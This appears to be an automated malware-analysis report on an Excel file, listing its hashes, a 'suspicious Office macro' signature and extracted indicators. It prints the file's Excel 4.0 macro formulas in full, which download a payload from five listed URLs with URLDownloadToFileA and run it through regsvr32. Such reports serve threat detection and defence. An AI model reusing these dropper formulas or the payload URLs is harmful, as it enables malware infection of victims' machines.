General
-
Target
acf8c8e6a83950e68febbe3ade60a91f304e0bd1254607c3c11ab1d4cdb6ae6b
-
Size
95KB
-
MD5
06ea4dffb7ab907b38f0ac0f855c8e2f
-
SHA1
20f54f314c20dfd173ed87692f06c564a54c1790
-
SHA256
acf8c8e6a83950e68febbe3ade60a91f304e0bd1254607c3c11ab1d4cdb6ae6b
-
SHA512
21147b81385625328c8a38a7f4288415a0c3813ce6d1eb4fb301b2ea3c449b8c3c094f284fa9475341f851334f16d4632652b89b0a65d164302227ff2d21ceca
-
SSDEEP
1536:C6ghqXvo8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVh9:C9iv38DsVhonV69o2bchgGaWBcpAk9
Malware Config
Extracted
https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/
https://makspeedtech.com/cgi-bin/6BuOTbA/
https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/
https://mbahauddin.com/v/2horjuyP/
https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/","..\wnu3.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://makspeedtech.com/cgi-bin/6BuOTbA/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mbahauddin.com/v/2horjuyP/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wnu3.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
acf8c8e6a83950e68febbe3ade60a91f304e0bd1254607c3c11ab1d4cdb6ae6b